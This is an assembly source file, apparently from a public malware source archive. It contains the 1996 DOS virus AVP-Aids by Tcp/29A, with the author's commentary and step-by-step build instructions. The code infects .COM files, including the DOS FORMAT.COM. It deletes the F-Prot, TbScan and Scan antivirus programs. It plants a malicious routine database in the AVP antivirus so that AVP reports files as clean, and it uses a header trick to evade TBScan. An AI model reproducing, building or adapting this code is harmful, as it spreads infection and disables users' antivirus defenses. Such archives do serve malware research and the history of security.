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https://github.com/vxunderground/MalwareSourceCode
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328 lines
8.7 KiB
NASM
328 lines
8.7 KiB
NASM
;
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; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
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; AVP-Aids, ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
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; by Tcp/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
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; ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
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; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
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;
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; AVP is probably the best antivirus nowadays, but it's the most easily
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; foolable too :) One of its best advantages is that the user himself is
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; able to write his own detection and disinfection routines for any new
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; virus he may find. But a virus author could use that facilities to
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; write a virus, don't you think? :)
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;
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; All we need to have is the routine editor (AVPRO) which is included in
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; the registrated version of AVP (2.1 and above), or the -older- one in-
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; cluded in the shareware version of AVP 2.0, which is the one i used.
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;
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; This routine editor gives us a lot of functions and structures we can
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; call. For more info on this, read their definitions in a file named
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; DLINK.H which is included in AVP.
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;
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; Having access to the vectors of those functions, we may either change
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; or redirect them as a normal virus does with the standard interrupt
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; vectors. We could write trojans, droppers, a stealth routine, and even
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; a whole virus... imagination is the only limit you have ;)
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;
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; As an example of this, i wrote a simple virus which i named AVP-Aids,
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; because it works in the same way as the known disease does:
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;
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; - It destroys the organism defenses: deletes F-Prot, TbScan and Scan
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; when AVP tries to scan them.
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; - Favours the appearing of opportunist diseases: AVP won't detect any
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; virus (only a few using it heuristic scanner), so any virus, though
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; being a super-old one, will be able to infect the system.
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;
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; I recommend the reading of the file USERGUID.DOC which is included in
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; the AVP pack for a better comprehension about the way AVP-Aids works.
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;
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; For getting a working dropper of AVP-Aids, first compile the next two
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; files (tasm /m /ml /q avp_dec.asm; tasm /m /ml /q avp_jmp.asm).
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;
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; ÄÄÄÄ File: AVP_DEC.ASM ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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aids_decode segment byte public 'CODE'
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assume cs:aids_decode
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_decode proc far
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aids proc far
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push ds
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push bp
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mov bp,seg _Page_A ; Get AVP's data segment
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mov ds,bp
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les di,ds:_Page_A ; Get pointer to Page_A
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mov cx,400h ; Length of Page
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push cx
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mov al,1 ; If al=0 then AVP detects the Win95.Boza.A
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; in a high number of files... rules :-DDD
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rep stosb ; Clear Page_A
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les di,ds:_Page_B
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pop cx
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push cx
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rep stosb ; Clear Page_B
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les di,ds:_Header
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pop cx
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rep stosb ; Clear Header
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push ds
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pop es
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lds si,ds:_File_Name ; File scanned
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lodsw
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cmp ax,'-f' ; Check for F-*.*
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je del_file
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cmp ax,'bt' ; Check for TBSCAN
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jne check_sc
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lodsw
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check_sc:
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cmp ax,'cs' ; Check for SCAN
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jne no_scan
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lodsw
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cmp ax,'na'
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jne no_scan
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del_file:
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push es
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pop ds
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lds dx,ds:_File_Full_Name
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mov ah,41h
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int 21h ; Delete file (F-Prot, Scan, TBScan)
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no_scan:
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pop bp
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pop ds
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xor ax,ax
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retf ; Return to AVP (AX==0 <-> RCLEAN)
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aids endp
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_decode endp
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aids_decode ends
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public _decode
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public aids
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extrn _Page_A:dword
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extrn _Page_B:dword
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extrn _Header:dword
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extrn _File_Name:dword
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extrn _File_Full_Name:dword
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end
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; ÄÄÄÄ EOF: AVP_DEC.ASM ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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;
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; ÄÄÄÄ File: AVP_JMP.ASM ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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aids_jmp segment byte public 'CODE'
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assume cs:aids_jmp
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_jmp proc far
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call far ptr aids ; call the aids procedure
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retf ; Return to AVP
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_jmp endp
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aids_jmp ends
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public _jmp
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extrn aids:far
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end
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; ÄÄÄÄ EOF: AVP_JMP.ASM ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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;
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; Now that we got their corresponding OBJ files, we load AVPRO and edit
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; a new viral database which we'll name AVP_AIDS.AVB. Add a File regis-
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; ter, and write the name and the commentary you want, it doesn't mind.
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; Now we link (Alt-L) an external routine. Choose AVP_DEC.OBJ and accept
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; the register.
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;
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; Because the second OBJ file makes a call to a procedure of the first
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; one, we will need AVP to load in memory the database we just created.
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; For this we must save this base and add it to the active ones by pres-
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; sing F4. Once we have done this, we must edit again AVP_AIDS.AVB and
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; add a jmp register. Now link AVP_JMP.OBJ as an external routine, and
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; if everything is right we'll be able to save and exit.
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;
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; After doing all this, we must compile the virus itself: for doing it,
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; we must modify the database length equ (length_aids) with the correct
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; value and follow the next steps:
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;
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; tasm /m avp_aids.asm
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; tlink avp_aids.obj
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; exe2bin avp_aids.exe avp_aids.com
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; copy /b 6nops.com+avp_aids.avb+avp_aids.com avp-aids.com
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;
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; As *all_this* is quite hard to do, Mister Sandman has included a fully
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; compiled second generation of this virus in \FILES :)
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;
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; ÄÄÄÄ File: AVP_AIDS.ASM ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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;
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; Name: AVP-Aids
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; Author: Tcp / 29A
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; When: 6-April-96 : 1st implementation
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; November-96: Now doesn't hang AVP 2.2x
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;
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; Where: Spain
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; Comments: A simple and lame virus to demostrate the
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; AVPRO API capabilities... to make virii... ;)
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; Also fools TBAV... (except this first generation)
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LENGTH_AIDS equ 590 ; Place here the length of your base
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avp_aids segment byte public
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assume cs:avp_aids, ds:avp_aids, ss:avp_aids
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org 0
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start:
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call get_delta
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next:
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avp_set db 'AVp.SeT',0
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base db 'KRN386.AVB',13,10
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f_base db 'kRn386.aVb',0
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f_mask db '*.cOm',0
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_format db 'c:\DoS\fORmaT.cOM',0
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six db 0cdh,20h,?,?,?,? ; Original bytes
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jmp_vir db 'PK' ; Fools TBScan
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pop bx ; Fix ('PK'= push ax, dec bx)
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db 0e9h ; jmp
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ofs_vir dw ?
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db '[AVP-Aids, Tcp / 29A]'
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get_delta:
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mov di,100h
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pop bp
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push di
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sub bp,offset(next) ; Get delta-offset
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mov di,100h
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push di
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lea si,[bp+six]
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movsw
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movsw
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movsw ; Restore infected file
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mov ah,2fh
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int 21h ; Get DTA
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push es
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push bx
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lea dx,[bp+offset(dta)]
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mov ah,1ah
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int 21h ; Set DTA
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mov ah,4eh
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xor cx,cx
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lea dx,[bp+f_mask]
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int 21h ; Find-first *.com
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jc check_for_format
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lea dx,[bp+offset(dta)+1eh]
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call infect_file
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check_for_format:
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lea dx,[bp+offset(_format)] ; Try to infect c:\dos\format.com
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call infect_file
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mov ax,3d00h ; Search for avp.set
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lea dx,[bp+avp_set]
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int 21h
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jc exec_host
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xchg ax,bx
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mov ah,3fh
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lea dx,[bp+dta]
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mov cx,666h ;-)
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int 21h
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push ax ; length(AVP.SET)
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mov ah,3eh
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int 21h ; Close file
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mov ah,3ch
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xor cx,cx
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lea dx,[bp+f_base]
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int 21h ; Create krn386.avb (viral database)
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xchg ax,bx
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mov ah,40h
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push ax
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lea dx,[bp+base]
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mov cx,offset(f_base)-offset(base)
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int 21h ; Write base name in file
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pop ax
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lea dx,[bp+dta]
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pop cx
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int 21h ; Write rest of AVP.SET
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mov ah,3eh
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int 21h
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mov ah,41h
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lea dx,[bp+avp_set]
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int 21h ; Delete AVP.SET
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mov ah,56h
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mov di,dx
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lea dx,[bp+f_base]
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int 21h ; Rename krn386.avb to AVP.SET
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mov ah,3ch
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xor cx,cx
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int 21h ; Reset krn386.avb
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xchg ax,bx
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mov ah,40h
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lea dx,[bp+aids_base]
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mov cx,LENGTH_AIDS
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int 21h ; Write the AVP-AIDS base
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mov ah,3eh
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int 21h
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exec_host:
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pop dx
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pop ds
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mov ah,1ah
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int 21h ; Restore DTA
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push cs
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push cs
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pop ds
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pop es
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ret
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infect_file:
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mov ax,3d02h
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int 21h ; Open
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jc no_file
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xchg ax,bx
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mov ah,3fh
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mov cx,6
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lea dx,[bp+offset(six)]
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int 21h ; Read 6 bytes
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cmp ax,cx ; File >6 bytes?
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jne close_file ; No? ten jmp
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cmp word ptr [bp+six],'ZM' ; EXE file but .com extension?
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je close_file ; Yes? then jmp
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cmp word ptr [bp+six],'KP' ; Already infected?
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je close_file ; Yes? then jmp
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mov ax,4202h
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cwd
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xor cx,cx
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int 21h ; Go end
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mov ah,40h
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mov dx,bp
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mov cx,offset(vir_end)
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int 21h ; Write virus
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mov ax,4200h
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cwd
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xor cx,cx
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int 21h ; Go start
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mov ax,[bp+offset(dta)+1ah] ; File size
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sub ax,6
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mov [bp+ofs_vir],ax
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mov ah,40h
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lea dx,[bp+jmp_vir]
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mov cx,6
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int 21h ; Write jump to virus
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mov ax,5701h
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mov cx,[bp+offset(dta)+16h] ; Time
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mov dx,[bp+offset(dta)+18h] ; Date
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int 21h ; Set time/date to original
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close_file:
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mov ah,3eh
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int 21h ; Close file
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no_file:
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ret
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aids_base db LENGTH_AIDS dup(?)
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vir_end:
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dta:
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avp_aids ends
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end start
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